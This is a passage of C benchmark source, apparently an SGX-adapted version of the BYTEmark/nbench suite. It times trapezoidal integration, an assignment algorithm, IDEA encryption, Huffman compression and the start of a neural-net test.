** x0,x1 set the lower and upper bounds of the
** integration.
** nsteps indicates # of trapezoidal sections
** omegan is the fundamental frequency times
** the series member #
** select = 0 for the A[0] term, 1 for cosine terms, and
** 2 for sine terms.
** Returns the value.
*/
static double TrapezoidIntegrate( double x0, /* Lower bound */
double x1, /* Upper bound */
int nsteps, /* # of steps */
double omegan, /* omega * n */
int select)
{
double x; /* Independent variable */
double dx; /* Stepsize */
double rvalue; /* Return value */
/*
** Initialize independent variable
*/
x=x0;
/*
** Calculate stepsize
*/
dx=(x1 - x0) / (double)nsteps;
/*
** Initialize the return value.
*/
rvalue=thefunction(x0,omegan,select)/(double)2.0;
/*
** Compute the other terms of the integral.
*/
if(nsteps!=1)
{ --nsteps; /* Already done 1 step */
while(--nsteps )
{
x+=dx;
rvalue+=thefunction(x,omegan,select);
}
}
/*
** Finish computation
*/
rvalue=(rvalue+thefunction(x1,omegan,select)/(double)2.0)*dx;
return(rvalue);
}
/****************
** thefunction **
*****************
** This routine selects the function to be used
** in the Trapezoid integration.
** x is the independent variable
** omegan is omega * n
** select chooses which of the sine/cosine functions
** are used. note the special case for select=0.
*/
static double thefunction(double x, /* Independent variable */
double omegan, /* Omega * term */
int select) /* Choose term */
{
/*
** Use select to pick which function we call.
*/
switch(select)
{
case 0: return(pow(x+(double)1.0,x));
case 1: return(pow(x+(double)1.0,x) * cos(omegan * x));
case 2: return(pow(x+(double)1.0,x) * sin(omegan * x));
}
/*
** We should never reach this point, but the following
** keeps compilers from issuing a warning message.
*/
return(0.0);
}
#endif
#ifdef N6
/*************************
** ASSIGNMENT ALGORITHM **
*************************/
/*************
** DoAssign **
**************
** Perform an assignment algorithm.
** The algorithm was adapted from the step by step guide found
** in "Quantitative Decision Making for Business" (Gordon,
** Pressman, and Cohn; Prentice-Hall)
**
**
** NOTES:
** 1. Even though the algorithm distinguishes between
** ASSIGNROWS and ASSIGNCOLS, as though the two might
** be different, it does presume a square matrix.
** I.E., ASSIGNROWS and ASSIGNCOLS must be the same.
** This makes for some algorithmically-correct but
** probably non-optimal constructs.
**
*/
void DoAssign(void)
{
AssignStruct *locassignstruct; /* Local structure ptr */
farlong *arraybase;
int systemerror;
ulong accumtime;
double iterations;
/*
** Link to global structure
*/
locassignstruct=&global_assignstruct;
locassignstruct->numarrays=1;
arraybase=(farlong *)malloc(sizeof(long)*
ASSIGNROWS*ASSIGNCOLS*locassignstruct->numarrays);
/*
** All's well if we get here. Do the tests.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoAssignIteration(arraybase,
locassignstruct->numarrays);
iterations+=(double)1.0;
} while(TicksToSecs(accumtime)<locassignstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home. Be sure to
** show that we don't have to rerun adjustment code.
*/
free((farvoid *)arraybase);
locassignstruct->iterspersec=iterations *
(double)locassignstruct->numarrays / TicksToFracSecs(accumtime);
return;
}
/**********************
** DoAssignIteration **
***********************
** This routine executes one iteration of the assignment test.
** It returns the number of ticks elapsed in the iteration.
*/
static ulong DoAssignIteration(farlong *arraybase,
ulong numarrays)
{
longptr abase; /* local pointer */
long elapsed; /* Elapsed ticks */
ulong i;
/*
** Set up local pointer
*/
abase.ptrs.p=arraybase;
/*
** Load up the arrays with a random table.
*/
LoadAssignArrayWithRand(arraybase,numarrays);
/*
** Start the stopwatch
*/
elapsed = clock();
/*
** Execute assignment algorithms
*/
for(i=0;i<numarrays;i++)
{ /* abase.ptrs.p+=i*ASSIGNROWS*ASSIGNCOLS; */
/* Fixed by Eike Dierks */
Assignment(*abase.ptrs.ap);
abase.ptrs.p+=ASSIGNROWS*ASSIGNCOLS;
}
/*
** Get elapsed time
*/
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
return elapsed;
}
/****************************
** LoadAssignArrayWithRand **
*****************************
** Load the assignment arrays with random numbers. All positive.
** These numbers represent costs.
*/
static void LoadAssignArrayWithRand(farlong *arraybase,
ulong numarrays)
{
longptr abase,abase1; /* Local for array pointer */
ulong i;
/*
** Set local array pointer
*/
abase.ptrs.p=arraybase;
abase1.ptrs.p=arraybase;
/*
** Set up the first array. Then just copy it into the
** others.
*/
LoadAssign(*(abase.ptrs.ap));
if(numarrays>1)
for(i=1;i<numarrays;i++)
{ /* abase1.ptrs.p+=i*ASSIGNROWS*ASSIGNCOLS; */
/* Fixed by Eike Dierks */
abase1.ptrs.p+=ASSIGNROWS*ASSIGNCOLS;
CopyToAssign(*(abase.ptrs.ap),*(abase1.ptrs.ap));
}
return;
}
/***************
** LoadAssign **
****************
** The array given by arraybase is loaded with positive random
** numbers. Elements in the array are capped at 5,000,000.
*/
static void LoadAssign(farlong arraybase[][ASSIGNCOLS])
{
ushort i,j;
/*
** Reset random number generator so things repeat.
*/
/* randnum(13L); */
randnum((int32)13);
for(i=0;i<ASSIGNROWS;i++)
for(j=0;j<ASSIGNROWS;j++){
/* arraybase[i][j]=abs_randwc(5000000L);*/
arraybase[i][j]=abs_randwc((int32)5000000);
}
return;
}
/*****************
** CopyToAssign **
******************
** Copy the contents of one array to another. This is called by
** the routine that builds the initial array, and is used to copy
** the contents of the intial array into all following arrays.
*/
static void CopyToAssign(farlong arrayfrom[ASSIGNROWS][ASSIGNCOLS],
farlong arrayto[ASSIGNROWS][ASSIGNCOLS])
{
ushort i,j;
for(i=0;i<ASSIGNROWS;i++)
for(j=0;j<ASSIGNCOLS;j++)
arrayto[i][j]=arrayfrom[i][j];
return;
}
/***************
** Assignment **
***************/
static void Assignment(farlong arraybase[][ASSIGNCOLS])
{
short assignedtableau[ASSIGNROWS][ASSIGNCOLS];
/*
** First, calculate minimum costs
*/
calc_minimum_costs(arraybase);
/*
** Repeat following until the number of rows selected
** equals the number of rows in the tableau.
*/
while(first_assignments(arraybase,assignedtableau)!=ASSIGNROWS)
{ second_assignments(arraybase,assignedtableau);
}
return;
}
/***********************
** calc_minimum_costs **
************************
** Revise the tableau by calculating the minimum costs on a
** row and column basis. These minima are subtracted from
** their rows and columns, creating a new tableau.
*/
static void calc_minimum_costs(long tableau[][ASSIGNCOLS])
{
ushort i,j; /* Index variables */
long currentmin; /* Current minimum */
/*
** Determine minimum costs on row basis. This is done by
** subtracting -- on a row-per-row basis -- the minum value
** for that row.
*/
for(i=0;i<ASSIGNROWS;i++)
{
currentmin=MAXPOSLONG; /* Initialize minimum */
for(j=0;j<ASSIGNCOLS;j++)
if(tableau[i][j]<currentmin)
currentmin=tableau[i][j];
for(j=0;j<ASSIGNCOLS;j++)
tableau[i][j]-=currentmin;
}
/*
** Determine minimum cost on a column basis. This works
** just as above, only now we step through the array
** column-wise
*/
for(j=0;j<ASSIGNCOLS;j++)
{
currentmin=MAXPOSLONG; /* Initialize minimum */
for(i=0;i<ASSIGNROWS;i++)
if(tableau[i][j]<currentmin)
currentmin=tableau[i][j];
/*
** Here, we'll take the trouble to see if the current
** minimum is zero. This is likely worth it, since the
** preceding loop will have created at least one zero in
** each row. We can save ourselves a few iterations.
*/
if(currentmin!=0)
for(i=0;i<ASSIGNROWS;i++)
tableau[i][j]-=currentmin;
}
return;
}
/**********************
** first_assignments **
***********************
** Do first assignments.
** The assignedtableau[] array holds a set of values that
** indicate the assignment of a value, or its elimination.
** The values are:
** 0 = Item is neither assigned nor eliminated.
** 1 = Item is assigned
** 2 = Item is eliminated
** Returns the number of selections made. If this equals
** the number of rows, then an optimum has been determined.
*/
static int first_assignments(long tableau[][ASSIGNCOLS],
short assignedtableau[][ASSIGNCOLS])
{
ushort i,j,k; /* Index variables */
ushort numassigns; /* # of assignments */
ushort totnumassigns; /* Total # of assignments */
ushort numzeros; /* # of zeros in row */
int selected=0; /* Flag used to indicate selection */
/*
** Clear the assignedtableau, setting all members to show that
** no one is yet assigned, eliminated, or anything.
*/
for(i=0;i<ASSIGNROWS;i++)
for(j=0;j<ASSIGNCOLS;j++)
assignedtableau[i][j]=0;
totnumassigns=0;
do {
numassigns=0;
/*
** Step through rows. For each one that is not currently
** assigned, see if the row has only one zero in it. If so,
** mark that as an assigned row/col. Eliminate other zeros
** in the same column.
*/
for(i=0;i<ASSIGNROWS;i++)
{ numzeros=0;
for(j=0;j<ASSIGNCOLS;j++)
if(tableau[i][j]==0L)
if(assignedtableau[i][j]==0)
{ numzeros++;
selected=j;
}
if(numzeros==1)
{ numassigns++;
totnumassigns++;
assignedtableau[i][selected]=1;
for(k=0;k<ASSIGNROWS;k++)
if((k!=i) &&
(tableau[k][selected]==0))
assignedtableau[k][selected]=2;
}
}
/*
** Step through columns, doing same as above. Now, be careful
** of items in the other rows of a selected column.
*/
for(j=0;j<ASSIGNCOLS;j++)
{ numzeros=0;
for(i=0;i<ASSIGNROWS;i++)
if(tableau[i][j]==0L)
if(assignedtableau[i][j]==0)
{ numzeros++;
selected=i;
}
if(numzeros==1)
{ numassigns++;
totnumassigns++;
assignedtableau[selected][j]=1;
for(k=0;k<ASSIGNCOLS;k++)
if((k!=j) &&
(tableau[selected][k]==0))
assignedtableau[selected][k]=2;
}
}
/*
** Repeat until no more assignments to be made.
*/
} while(numassigns!=0);
/*
** See if we can leave at this point.
*/
if(totnumassigns==ASSIGNROWS) return(totnumassigns);
/*
** Now step through the array by row. If you find any unassigned
** zeros, pick the first in the row. Eliminate all zeros from
** that same row & column. This occurs if there are multiple optima...
** possibly.
*/
for(i=0;i<ASSIGNROWS;i++)
{ selected=-1;
for(j=0;j<ASSIGNCOLS;j++)
if((tableau[i][j]==0L) &&
(assignedtableau[i][j]==0))
{ selected=j;
break;
}
if(selected!=-1)
{ assignedtableau[i][selected]=1;
totnumassigns++;
for(k=0;k<ASSIGNCOLS;k++)
if((k!=selected) &&
(tableau[i][k]==0L))
assignedtableau[i][k]=2;
for(k=0;k<ASSIGNROWS;k++)
if((k!=i) &&
(tableau[k][selected]==0L))
assignedtableau[k][selected]=2;
}
}
return(totnumassigns);
}
/***********************
** second_assignments **
************************
** This section of the algorithm creates the revised
** tableau, and is difficult to explain. I suggest you
** refer to the algorithm's source, mentioned in comments
** toward the beginning of the program.
*/
static void second_assignments(long tableau[][ASSIGNCOLS],
short assignedtableau[][ASSIGNCOLS])
{
int i,j; /* Indexes */
short linesrow[ASSIGNROWS];
short linescol[ASSIGNCOLS];
long smallest; /* Holds smallest value */
ushort numassigns; /* Number of assignments */
ushort newrows; /* New rows to be considered */
/*
** Clear the linesrow and linescol arrays.
*/
for(i=0;i<ASSIGNROWS;i++)
linesrow[i]=0;
for(i=0;i<ASSIGNCOLS;i++)
linescol[i]=0;
/*
** Scan rows, flag each row that has no assignment in it.
*/
for(i=0;i<ASSIGNROWS;i++)
{ numassigns=0;
for(j=0;j<ASSIGNCOLS;j++)
if(assignedtableau[i][j]==1)
{ numassigns++;
break;
}
if(numassigns==0) linesrow[i]=1;
}
do {
newrows=0;
/*
** For each row checked above, scan for any zeros. If found,
** check the associated column.
*/
for(i=0;i<ASSIGNROWS;i++)
{ if(linesrow[i]==1)
for(j=0;j<ASSIGNCOLS;j++)
if(tableau[i][j]==0)
linescol[j]=1;
}
/*
** Now scan checked columns. If any contain assigned zeros, check
** the associated row.
*/
for(j=0;j<ASSIGNCOLS;j++)
if(linescol[j]==1)
for(i=0;i<ASSIGNROWS;i++)
if((assignedtableau[i][j]==1) &&
(linesrow[i]!=1))
{
linesrow[i]=1;
newrows++;
}
} while(newrows!=0);
/*
** linesrow[n]==0 indicate rows covered by imaginary line
** linescol[n]==1 indicate cols covered by imaginary line
** For all cells not covered by imaginary lines, determine smallest
** value.
*/
smallest=MAXPOSLONG;
for(i=0;i<ASSIGNROWS;i++)
if(linesrow[i]!=0)
for(j=0;j<ASSIGNCOLS;j++)
if(linescol[j]!=1)
if(tableau[i][j]<smallest)
smallest=tableau[i][j];
/*
** Subtract smallest from all cells in the above set.
*/
for(i=0;i<ASSIGNROWS;i++)
if(linesrow[i]!=0)
for(j=0;j<ASSIGNCOLS;j++)
if(linescol[j]!=1)
tableau[i][j]-=smallest;
/*
** Add smallest to all cells covered by two lines.
*/
for(i=0;i<ASSIGNROWS;i++)
if(linesrow[i]==0)
for(j=0;j<ASSIGNCOLS;j++)
if(linescol[j]==1)
tableau[i][j]+=smallest;
return;
}
#endif
#ifdef N7
/********************
** IDEA Encryption **
*********************
** IDEA - International Data Encryption Algorithm.
** Based on code presented in Applied Cryptography by Bruce Schneier.
** Which was based on code developed by Xuejia Lai and James L. Massey.
** Other modifications made by Colin Plumb.
**
*/
/***********
** DoIDEA **
************
** Perform IDEA encryption. Note that we time encryption & decryption
** time as being a single loop.
*/
void DoIDEA(void)
{
IDEAStruct *locideastruct; /* Loc pointer to global structure */
int i;
IDEAkey Z,DK;
u16 userkey[8];
ulong accumtime;
double iterations;
int systemerror;
faruchar *plain1; /* First plaintext buffer */
faruchar *crypt1; /* Encryption buffer */
faruchar *plain2; /* Second plaintext buffer */
/*
** Link to global data
*/
locideastruct=&global_ideastruct;
locideastruct->arraysize = 5000;
/*
** Re-init random-number generator.
*/
/* randnum(3L); */
randnum((int32)3);
/*
** Build an encryption/decryption key
*/
for (i=0;i<8;i++)
/* userkey[i]=(u16)(abs_randwc(60000L) & 0xFFFF); */
userkey[i]=(u16)(abs_randwc((int32)60000) & 0xFFFF);
for(i=0;i<KEYLEN;i++)
Z[i]=0;
/*
** Compute encryption/decryption subkeys
*/
en_key_idea(userkey,Z);
de_key_idea(Z,DK);
/*
** Allocate memory for buffers. We'll make 3, called plain1,
** crypt1, and plain2. It works like this:
** plain1 >>encrypt>> crypt1 >>decrypt>> plain2.
** So, plain1 and plain2 should match.
** Also, fill up plain1 with sample text.
*/
plain1=(faruchar *)malloc(locideastruct->arraysize);
crypt1=(faruchar *)malloc(locideastruct->arraysize);
plain2=(faruchar *)malloc(locideastruct->arraysize);
/*
** Note that we build the "plaintext" by simply loading
** the array up with random numbers.
*/
for(i=0;i<locideastruct->arraysize;i++)
plain1[i]=(uchar)(abs_randwc(255) & 0xFF);
locideastruct->loops = 1;
#ifdef DEBUG
printf("arraysize: %d, loops: %d\n", locideastruct->arraysize, locideastruct->loops);
#endif
/*
** All's well if we get here. Do the test.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoIDEAIteration(plain1,crypt1,plain2,
locideastruct->arraysize,
locideastruct->loops,Z,DK);
iterations+=(double)locideastruct->loops;
} while(TicksToSecs(accumtime)<locideastruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home. Be sure to
** show that we don't have to rerun adjustment code.
*/
free((farvoid *)plain1);
free((farvoid *)crypt1);
free((farvoid *)plain2);
locideastruct->iterspersec=iterations / TicksToFracSecs(accumtime);
return;
}
/********************
** DoIDEAIteration **
*********************
** Execute a single iteration of the IDEA encryption algorithm.
** Actually, a single iteration is one encryption and one
** decryption.
*/
static ulong DoIDEAIteration(faruchar *plain1,
faruchar *crypt1,
faruchar *plain2,
ulong arraysize,
ulong nloops,
IDEAkey Z,
IDEAkey DK)
{
register ulong i;
register ulong j;
long elapsed;
//ulong start;
//#ifdef DEBUG
int status=0;
//#endif
/*
** Start the stopwatch.
*/
elapsed = clock();
/*
** Do everything for nloops.
*/
for(j=0;j<arraysize;j+=(sizeof(u16)*4))
cipher_idea((u16 *)(plain1+j),(u16 *)(crypt1+j),Z); /* Encrypt */
for(j=0;j<arraysize;j+=(sizeof(u16)*4))
cipher_idea((u16 *)(crypt1+j),(u16 *)(plain2+j),DK); /* Decrypt */
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
/*
** Get elapsed time.
*/
return elapsed;
}
/********
** mul **
*********
** Performs multiplication, modulo (2**16)+1. This code is structured
** on the assumption that untaken branches are cheaper than taken
** branches, and that the compiler doesn't schedule branches.
*/
static u16 mul(register u16 a, register u16 b)
{
register u32 p;
if(a)
{ if(b)
{ p=(u32)(a*b);
b=low16(p);
a=(u16)(p>>16);
return(b-a+(b<a));
}
else
return(1-a);
}
else
return(1-b);
}
/********
** inv **
*********
** Compute multiplicative inverse of x, modulo (2**16)+1
** using Euclid's GCD algorithm. It is unrolled twice
** to avoid swapping the meaning of the registers. And
** some subtracts are changed to adds.
*/
static u16 inv(u16 x)
{
u16 t0, t1;
u16 q, y;
if(x<=1)
return(x); /* 0 and 1 are self-inverse */
t1=0x10001 / x;
y=0x10001 % x;
if(y==1)
return(low16(1-t1));
t0=1;
do {
q=x/y;
x=x%y;
t0+=q*t1;
if(x==1) return(t0);
q=y/x;
y=y%x;
t1+=q*t0;
} while(y!=1);
return(low16(1-t1));
}
/****************
** en_key_idea **
*****************
** Compute IDEA encryption subkeys Z
*/
static void en_key_idea(u16 *userkey, u16 *Z)
{
int i,j;
/*
** shifts
*/
for(j=0;j<8;j++)
Z[j]=*userkey++;
for(i=0;j<KEYLEN;j++)
{ i++;
Z[i+7]=(Z[i&7]<<9)| (Z[(i+1) & 7] >> 7);
Z+=i&8;
i&=7;
}
return;
}
/****************
** de_key_idea **
*****************
** Compute IDEA decryption subkeys DK from encryption
** subkeys Z.
*/
static void de_key_idea(IDEAkey Z, IDEAkey DK)
{
IDEAkey TT;
int j;
u16 t1, t2, t3;
u16 *p;
p=(u16 *)(TT+KEYLEN);
t1=inv(*Z++);
t2=-*Z++;
t3=-*Z++;
*--p=inv(*Z++);
*--p=t3;
*--p=t2;
*--p=t1;
for(j=1;j<ROUNDS;j++)
{ t1=*Z++;
*--p=*Z++;
*--p=t1;
t1=inv(*Z++);
t2=-*Z++;
t3=-*Z++;
*--p=inv(*Z++);
*--p=t2;
*--p=t3;
*--p=t1;
}
t1=*Z++;
*--p=*Z++;
*--p=t1;
t1=inv(*Z++);
t2=-*Z++;
t3=-*Z++;
*--p=inv(*Z++);
*--p=t3;
*--p=t2;
*--p=t1;
/*
** Copy and destroy temp copy
*/
for(j=0,p=TT;j<KEYLEN;j++)
{ *DK++=*p;
*p++=0;
}
return;
}
/*
** MUL(x,y)
** This #define creates a macro that computes x=x*y modulo 0x10001.
** Requires temps t16 and t32. Also requires y to be strictly 16
** bits. Here, I am using the simplest form. May not be the
** fastest. -- RG
*/
/* #define MUL(x,y) (x=mul(low16(x),y)) */
/****************
** cipher_idea **
*****************
** IDEA encryption/decryption algorithm.
*/
static void cipher_idea(u16 in[4],
u16 out[4],
register IDEAkey Z)
{
register u16 x1, x2, x3, x4, t1, t2;
/* register u16 t16;
register u16 t32; */
int r=ROUNDS;
x1=*in++;
x2=*in++;
x3=*in++;
x4=*in;
do {
MUL(x1,*Z++);
x2+=*Z++;
x3+=*Z++;
MUL(x4,*Z++);
t2=x1^x3;
MUL(t2,*Z++);
t1=t2+(x2^x4);
MUL(t1,*Z++);
t2=t1+t2;
x1^=t1;
x4^=t2;
t2^=x2;
x2=x3^t1;
x3=t2;
} while(--r);
MUL(x1,*Z++);
*out++=x1;
*out++=x3+*Z++;
*out++=x2+*Z++;
MUL(x4,*Z);
*out=x4;
return;
}
#endif
#ifdef N8
/************************
** HUFFMAN COMPRESSION **
************************/
/**************
** DoHuffman **
***************
** Execute a huffman compression on a block of plaintext.
** Note that (as with IDEA encryption) an iteration of the
** Huffman test includes a compression AND a decompression.
** Also, the compression cycle includes building the
** Huffman tree.
*/
void DoHuffman(void)
{
HuffStruct *lochuffstruct; /* Loc pointer to global data */
int systemerror;
ulong accumtime;
double iterations;
farchar *comparray;
farchar *decomparray;
farchar *plaintext;
/*
** Link to global data
*/
lochuffstruct=&global_huffstruct;
lochuffstruct->arraysize = 5000;
lochuffstruct->loops = 1;
/*
** Allocate memory for the plaintext and the compressed text.
** We'll be really pessimistic here, and allocate equal amounts
** for both (though we know...well, we PRESUME) the compressed
** stuff will take less than the plain stuff.
** Also note that we'll build a 3rd buffer to decompress
** into, and we preallocate space for the huffman tree.
** (We presume that the Huffman tree will grow no larger
** than 512 bytes. This is actually a super-conservative
** estimate...but, who cares?)
*/
plaintext=(farchar *)malloc(lochuffstruct->arraysize);
comparray=(farchar *)malloc(lochuffstruct->arraysize);
decomparray=(farchar *)malloc(lochuffstruct->arraysize);
hufftree=(huff_node *)malloc(sizeof(huff_node) * 512);
/*
** Build the plaintext buffer. Since we want this to
** actually be able to compress, we'll use the
** wordcatalog to build the plaintext stuff.
*/
/*
** Reset random number generator so things repeat.
** added by Uwe F. Mayer
*/
randnum((int32)13);
create_text_block(plaintext,lochuffstruct->arraysize-1,(ushort)500);
plaintext[lochuffstruct->arraysize-1L]='\0';
plaintextlen=lochuffstruct->arraysize;
#ifdef DEBUG
printf("arraysize: %d, loops: %d\n", lochuffstruct->arraysize, lochuffstruct->loops);
#endif
/*
** All's well if we get here. Do the test.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoHuffIteration(plaintext,
comparray,
decomparray,
lochuffstruct->arraysize,
lochuffstruct->loops,
hufftree);
iterations+=(double)lochuffstruct->loops;
} while(TicksToSecs(accumtime)<lochuffstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home. Be sure to
** show that we don't have to rerun adjustment code.
*/
free((farvoid *)plaintext);
free((farvoid *)comparray);
//free((farvoid *)decomparray);
//free((farvoid *)hufftree);
lochuffstruct->iterspersec=iterations / TicksToFracSecs(accumtime);
}
/*********************
** create_text_line **
**********************
** Create a random line of text, stored at *dt. The line may be
** no more than nchars long.
*/
static void create_text_line(farchar *dt,
long nchars)
{
long charssofar; /* # of characters so far */
long tomove; /* # of characters to move */
char myword[40]; /* Local buffer for words */
farchar *wordptr; /* Pointer to word from catalog */
charssofar=0;
do {
/*
** Grab a random word from the wordcatalog
*/
/* wordptr=wordcatarray[abs_randwc((long)WORDCATSIZE)];*/
wordptr=wordcatarray[abs_randwc((int32)WORDCATSIZE)];
memmove((farvoid *)myword,
(farvoid *)wordptr,
(unsigned long)strlen(wordptr)+1);
/*
** Append a blank.
*/
tomove=strlen(myword)+1;
myword[tomove-1]=' ';
/*
** See how long it is. If its length+charssofar > nchars, we have
** to trim it.
*/
if((tomove+charssofar)>nchars)
tomove=nchars-charssofar;
/*
** Attach the word to the current line. Increment counter.
*/
memmove((farvoid *)dt,(farvoid *)myword,(unsigned long)tomove);
charssofar+=tomove;
dt+=tomove;
/*
** If we're done, bail out. Otherwise, go get another word.
*/
} while(charssofar<nchars);
return;
}
/**********************
** create_text_block **
***********************
** Build a block of text randomly loaded with words. The words
** come from the wordcatalog (which must be loaded before you
** call this).
** *tb points to the memory where the text is to be built.
** tblen is the # of bytes to put into the text block
** maxlinlen is the maximum length of any line (line end indicated
** by a carriage return).
*/
static void create_text_block(farchar *tb,
ulong tblen,
ushort maxlinlen)
{
ulong bytessofar; /* # of bytes so far */
ulong linelen; /* Line length */
bytessofar=0L;
do {
/*
** Pick a random length for a line and fill the line.
** Make sure the line can fit (haven't exceeded tablen) and also
** make sure you leave room to append a carriage return.
*/
linelen=abs_randwc(maxlinlen-6)+6;
if((linelen+bytessofar)>tblen)
linelen=tblen-bytessofar;
if(linelen>1)
{
create_text_line(tb,linelen);
}
tb+=linelen-1; /* Add the carriage return */
*tb++='\n';
bytessofar+=linelen;
} while(bytessofar<tblen);
}
/********************
** DoHuffIteration **
*********************
** Perform the huffman benchmark. This routine
** (a) Builds the huffman tree
** (b) Compresses the text
** (c) Decompresses the text and verifies correct decompression
*/
static ulong DoHuffIteration(farchar *plaintext,
farchar *comparray,
farchar *decomparray,
ulong arraysize,
ulong nloops,
huff_node *hufftree)
{
int i; /* Index */
long j; /* Bigger index */
int root; /* Pointer to huffman tree root */
float lowfreq1, lowfreq2; /* Low frequency counters */
int lowidx1, lowidx2; /* Indexes of low freq. elements */
long bitoffset; /* Bit offset into text */
long textoffset; /* Char offset into text */
long maxbitoffset; /* Holds limit of bit offset */
long bitstringlen; /* Length of bitstring */
int c; /* Character from plaintext */
char bitstring[30]; /* Holds bitstring */
long elapsed; /* For stopwatch */
/*
** Start the stopwatch
*/
elapsed = clock();
/*
** Do everything for nloops
*/
while(nloops--)
{
/*
** Calculate the frequency of each byte value. Store the
** results in what will become the "leaves" of the
** Huffman tree. Interior nodes will be built in those
** nodes greater than node #255.
*/
for(i=0;i<256;i++)
{
hufftree[i].freq=(float)0.0;
hufftree[i].c=(unsigned char)i;
}
for(j=0;j<arraysize;j++)
hufftree[(int)plaintext[j]].freq+=(float)1.0;
for(i=0;i<256;i++)
if(hufftree[i].freq != (float)0.0)
hufftree[i].freq/=(float)arraysize;
/* Reset the second half of the tree. Otherwise the loop below that
** compares the frequencies up to index 512 makes no sense. Some
** systems automatically zero out memory upon allocation, others (like
** for example DEC Unix) do not. Depending on this the loop below gets
** different data and different run times. On our alpha the data that
** was arbitrarily assigned led to an underflow error at runtime. We
** use that zeroed-out bits are in fact 0 as a float.
** Uwe F. Mayer */
memset((char *)&(hufftree[256]), 0, sizeof(huff_node)*256);
/*
** Build the huffman tree. First clear all the parent
** pointers and left/right pointers. Also, discard all
** nodes that have a frequency of true 0. */
for(i=0;i<512;i++)
{ if(hufftree[i].freq==(float)0.0)
hufftree[i].parent=EXCLUDED;
else
hufftree[i].parent=hufftree[i].left=hufftree[i].right=-1;
}
/*
** Go through the tree. Finding nodes of really low
** frequency.
*/
root=255; /* Starting root node-1 */
while(1)
{
lowfreq1=(float)2.0; lowfreq2=(float)2.0;
lowidx1=-1; lowidx2=-1;
/*
** Find first lowest frequency.
*/
for(i=0;i<=root;i++)
if(hufftree[i].parent<0)
if(hufftree[i].freq<lowfreq1)
{ lowfreq1=hufftree[i].freq;
lowidx1=i;
}
/*
** Did we find a lowest value? If not, the
** tree is done.
*/
if(lowidx1==-1) break;
/*
** Find next lowest frequency
*/
for(i=0;i<=root;i++)
if((hufftree[i].parent<0) && (i!=lowidx1))
if(hufftree[i].freq<lowfreq2)
{ lowfreq2=hufftree[i].freq;
lowidx2=i;
}
/*
** If we could only find one item, then that
** item is surely the root, and (as above) the
** tree is done.
*/
if(lowidx2==-1) break;
/*
** Attach the two new nodes to the current root, and
** advance the current root.
*/
root++; /* New root */
hufftree[lowidx1].parent=root;
hufftree[lowidx2].parent=root;
hufftree[root].freq=lowfreq1+lowfreq2;
hufftree[root].left=lowidx1;
hufftree[root].right=lowidx2;
hufftree[root].parent=-2; /* Show root */
}
/*
** Huffman tree built...compress the plaintext
*/
bitoffset=0L; /* Initialize bit offset */
for(i=0;i<arraysize;i++)
{
c=(int)plaintext[i]; /* Fetch character */
/*
** Build a bit string for byte c
*/
bitstringlen=0;
while(hufftree[c].parent!=-2)
{ if(hufftree[hufftree[c].parent].left==c)
bitstring[bitstringlen]='0';
else
bitstring[bitstringlen]='1';
c=hufftree[c].parent;
bitstringlen++;
}
/*
** Step backwards through the bit string, setting
** bits in the compressed array as you go.
*/
while(bitstringlen--)
{ SetCompBit((u8 *)comparray,(u32)bitoffset,bitstring[bitstringlen]);
bitoffset++;
}
}
/*
** Compression done. Perform de-compression.
*/
maxbitoffset=bitoffset;
bitoffset=0;
textoffset=0;
do {
i=root;
while(hufftree[i].left!=-1)
{ if(GetCompBit((u8 *)comparray,(u32)bitoffset)==0)
i=hufftree[i].left;
else
i=hufftree[i].right;
bitoffset++;
}
decomparray[textoffset]=hufftree[i].c;
textoffset++;
} while(bitoffset<maxbitoffset);
} /* End the big while(nloops--) from above */
/*
** All done
*/
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
//return(StopStopwatch(elapsed));
return elapsed;
}
/***************
** SetCompBit **
****************
** Set a bit in the compression array. The value of the
** bit is set according to char bitchar.
*/
static void SetCompBit(u8 *comparray,
u32 bitoffset,
char bitchar)
{
u32 byteoffset;
int bitnumb;
/*
** First calculate which element in the comparray to
** alter. and the bitnumber.
*/
byteoffset=bitoffset>>3;
bitnumb=bitoffset % 8;
/*
** Set or clear
*/
if(bitchar=='1')
comparray[byteoffset]|=(1<<bitnumb);
else
comparray[byteoffset]&=~(1<<bitnumb);
return;
}
/***************
** GetCompBit **
****************
** Return the bit value of a bit in the comparession array.
** Returns 0 if the bit is clear, nonzero otherwise.
*/
static int GetCompBit(u8 *comparray,
u32 bitoffset)
{
u32 byteoffset;
int bitnumb;
/*
** Calculate byte offset and bit number.
*/
byteoffset=bitoffset>>3;
bitnumb=bitoffset % 8;
/*
** Fetch
*/
return((1<<bitnumb) & comparray[byteoffset] );
}
/********************************
** BACK PROPAGATION NEURAL NET **
*********************************
** This code is a modified version of the code
** that was submitted to BYTE Magazine by
** Maureen Caudill. It accomanied an article
** that I CANNOT NOW RECALL.
** The author's original heading/comment was
** as follows:
**
** Backpropagation Network
** Written by Maureen Caudill
** in Think C 4.0 on a Macintosh
**
** (c) Maureen Caudill 1988-1991
** This network will accept 5x7 input patterns
** and produce 8 bit output patterns.
** The source code may be copied or modified without restriction,
** but no fee may be charged for its use.
**
** ++++++++++++++
** I have modified the code so that it will work
** on systems other than a Macintosh -- RG
*/
#endif
#ifdef N9
/***********
** DoNNet **
************
** Perform the neural net benchmark.
** Note that this benchmark is one of the few that
** requires an input file. That file is "NNET.DAT" and
** should be on the local directory (from which the
** benchmark program in launched).
*/
void DoNNET(void)
{
NNetStruct *locnnetstruct; /* Local ptr to global data */
ulong accumtime;
double iterations;
/*
** Link to global data
*/
locnnetstruct=&global_nnetstruct;
/*
** Init random number generator.
** NOTE: It is important that the random number generator
** be re-initialized for every pass through this test.
** The NNET algorithm uses the random number generator
** to initialize the net. Results are sensitive to
** the initial neural net state.
*/
/* randnum(3L); */
randnum((int32)3);
/*
** Read in the input and output patterns. We'll do this
** only once here at the beginning. These values don't
** change once loaded.
*/
if(read_data_file()!=0)
return;
locnnetstruct->loops = 1;
#ifdef DEBUG
